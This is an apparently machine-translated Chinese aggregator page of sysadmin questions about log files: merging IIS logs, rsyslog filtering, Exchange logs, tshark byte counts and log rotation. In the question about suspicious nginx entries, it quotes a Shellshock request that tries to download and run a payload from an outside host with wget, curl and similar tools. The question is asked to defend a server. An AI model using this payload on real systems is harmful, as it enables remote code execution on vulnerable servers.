Articles of 日志文件

合并大型IIS日志

我计划使用Webalizer来分析和绘制我们的IIS日志,但是因为我们有一个服务器群,所以Webalizer要求我确保所有的日志都是按照时间顺序排列的(否则就会跳过结果)。 我们的日志存储gzip所以我开始解压一切分开的文件,然后我用LogParser 2.2来合并这些文件。 我的LogParser命令是: LogParser.exe -i:iisw3c "select * into combinedLogFile.log from *.log order by date, time" -o:w3c 我可能不需要*,但我确实需要大部分字段,因为Webalizer将需要它们。 这对我的一些日志非常好,但是我们的一个服务器群集生成了大量的日志,我们有14台服务器,每台服务器的日志(至less)是每天2.5GB(每个日志在不同的日子)。 所以当我尝试合并这些日志LogParser只是崩溃与一个毫无意义的通用错误。 我认为这是一个内存问题,所以我尝试了很多方法来尽量减less内存。 我正在使用PowerShell来调用LogParser,所以我开始尝试使用标准的Powershellpipe道inputinput。 (这导致Powershell(而不是LogParser)的OutOfMemoryException,而不是以任何方式使用这些文件)。 我最终得到的结果是使用多个命名pipe道从一个batch file调用调用到“猫”直接pipe道到LogParser …我回到我开始时,我是在预先压缩他们。 我们有其他脚本处理这些相同的日志文件,没有任何问题(尽pipe它们的输出通常比这个小)。 所以我只是想知道,如果你有更好的方法来合并所有这些文件或一些LogParser脚本,我会想到的工作是不够的。 PS我知道我可以在.NET中编写一个合并程序,因为所有的日志都已经被sorting,所以我不需要每次只读几行,但是我试图避免这样做,如果可能。

在特定date之后,删除IIS托pipe网站上的日志文件

我想删除IIS上由我的Silverlight应用程序创build的日志文件,服务器应该检查date早于“n”天的日志文件并自动删除它们。 在IIS中是否有任何configuration可以完成这项任务,或者我应该为自己编写实用程序?

基于消息内容的rsyslog过滤

我有一个正在写入syslog的应用程序。 写入syslog的消息适用于需要过滤的各种桶。 每条消息都以一个桶号开始,所以这些消息写成: 1: Message for bucket 1 14: Message for bucket 14 123: Message for bucket 123 我想根据桶号过滤这些消息,我想这可以用正则expression式来完成。 这些桶是数字的,可以在1-999的范围内。 这些桶的输出应该是不同的文件,每个桶一个。 对于上面的例子,应该是: /var/log/myapp/1.log /var/log/myapp/14.log /var/log/myapp/123.log 有人可以帮助我如何做到这一点与rsyslog?

减less邮箱数据库文件夹中的Exchange 2013 .log文件

日志中find:C:\ Program Files \ Microsoft \ Exchange Server \ V15 \ Mailbox \ Mailbox数据库 这些是用来支持索引还是重要的东西? 我只问,因为他们占用了一大块空间,如果他们只是用于错误/警告日志logging,我想知道是否有可能通过我不知道的设置削减他们?

奇怪的通知,在Apache错误日志

今天我在apache error.logs中发现了一个奇怪的通知。 日志告诉我以下内容: [Mon Mar 24 06:26:34.872366 2014] [mpm_prefork:notice] [pid 32214] AH00163: Apache/2.4.7 (Ubuntu) configured — resuming normal operations [Mon Mar 24 06:26:34.872417 2014] [core:notice] [pid 32214] AH00094: Command line: '/usr/sbin/apache2' 我觉得奇怪的是,那段时间我没有碰到Apache。 当我检查从last命令的信息,我没有发现任何人连接到本机接近这个时间。 在访问日志中,我也无法find任何404请求。 所以我的问题是,什么可能导致这些日志(因为我了解apache重新启动自己),这是正常的。 对不起,不包括这个 。 我在Ubuntu 12.04.4 LTS(GNU / Linux 3.2.0-58-虚拟x86_64),这实际上是亚马逊AWS。 关于cron的更新 : /etc/cron.d只有两个文件: -rw-r–r– 1 root root 510 Feb 13 16:06 php5 […]

如何使用tshark或tcpdump来计算传输的字节数

我用tshark使用这个命令: tshark -r pcapfile "tcp and ip.src==192.168.1.1" -T text -V -x | grep 'Total Length' 这基本上parsing了来自源ip的连接的pcap,并从每个包中查找总长度(以字节为单位)。 我得到这样的输出: Total Length: 125 Total Length: 210 Total Length: 40 Total Length: 125 > etc, etc…. 我需要做的是从Total Length中获取数字,然后将它们相加,这样我就可以了解在单个IP的pcap时间范围内通过networking传输了多less数据。 有一个命令,我可以添加在我用来做到这一点的结尾? 或者有没有一种方法可以直接inputstdout,然后将其传递给一个可以parsing和计算我之后的程序? 任何人都知道与tcpdump类似的命令可以做到这一点?

如何从域控制器日志中检索以前的IP / DNS信息?

我不幸有DNS清除; 我需要检索的信息可能已经在事件查看器的DNS日志中,但这不再存在,或者我可能没有正确地寻找它。 故事:我需要报告在我们的networking上投掷可疑活动的机器。 活动发生在特定的时间窗口之间。 DNS / IP已经改变了。 我从安全团队获得的所有信息都是知识产权和时间窗口。 问题:有没有其他地方可以获取日志信息,并在特定时间追踪哪台机器具有特定IP? 我也会问networking在交换机/网关方面的东西(也许钉到Mac地址或东西),但我希望我能find一种方法来validation从系统端。 有任何想法吗?

粗略的nginx访问日志条目

在nginx访问日志中有很多条目。 我如何知道这些脚本的结果,以及我的服务器是否被盗用? 162.232.183.48 – – [14/Jan/2016:10:54:57 +0000] "GET /cgi-bin/php4 HTTP/1.1" 200 1494 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22 wget http://2 04.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232 .209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png \x22);'" "-"

海量的数据每分钟写入一次mail.log

我在Ubuntu服务器上,每分钟一次写入我的/var/log/mail.log大量的行。 线条看起来像: Mar 11 17:39:08 Ubuntu-1010-maverick-32-minimal postfix/qmgr[1085]: 75A8B17150: from=<[email protected]>, size=769, nrcpt=1 (queue active) Mar 11 17:39:08 Ubuntu-1010-maverick-32-minimal postfix/qmgr[1085]: 7F70417129: from=<>, size=2900, nrcpt=1 (queue active) Mar 11 17:39:08 Ubuntu-1010-maverick-32-minimal postfix/qmgr[1085]: 7BD0616D9D: from=<>, size=2819, nrcpt=1 (queue active) Mar 11 17:39:08 Ubuntu-1010-maverick-32-minimal postfix/qmgr[1085]: 7A10716D88: from=<>, size=2841, nrcpt=1 (queue active) Mar 11 17:39:08 Ubuntu-1010-maverick-32-minimal postfix/qmgr[1085]: 7AA5C107FC3: from=<[email protected]>, size=778, nrcpt=1 […]

你如何处理日志滚动(或截断)unix服务,不处理它自己?

在我的具体情况是它的MySQL通用日志和慢查询日志; 对于操作来说都不是至关重要的,如果需要的话,在那里进行故障排除,而且mysql没有滚动或截断其中任何一个的机制。 如果忽略这些日志,可能会变得很大。 有没有一个很好的小cron-job + bash脚本破解滚动或截断这些文件? 谢谢。